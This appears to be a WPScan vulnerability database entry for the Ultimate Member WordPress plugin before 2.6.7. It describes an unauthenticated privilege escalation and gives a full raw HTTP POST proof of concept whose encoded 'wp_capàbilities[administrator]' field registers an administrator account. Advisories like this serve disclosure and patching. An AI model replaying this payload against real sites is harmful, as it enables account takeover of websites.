WordPress Plugin Vulnerabilities
Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation
Description
The plugin does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild.
Proof of Concept
POST /register/ HTTP/1.1 Host: wpscan-vulnerability-test-bench.ddev.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 226 Origin: http://wpscan-vulnerability-test-bench.ddev.site Connection: close Referer: http://wpscan-vulnerability-test-bench.ddev.site/register/ Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=1b8518cf0ecbf8627f460b2b088024d9; wp_lang=en_US Upgrade-Insecure-Requests: 1 user_login-29=pwnmemayb2e&user_password-29=P%40ssw0rd%21&confirm_user_password-29=P%40ssw0rd%21&first_name-29=Kaput&wp_cap%c3%a0Bilities-29[administrator]=1&form_id=29&um_request=&_wpnonce=cde6682afb&_wp_http_referer=%2Fregister%2F
Affects Plugins
References
Classification
Type
PRIVESC
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Unknown, Marc Montpas
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-29 (about 10 months ago)
Added
2023-06-29 (about 10 months ago)
Last Updated
2023-07-03 (about 10 months ago)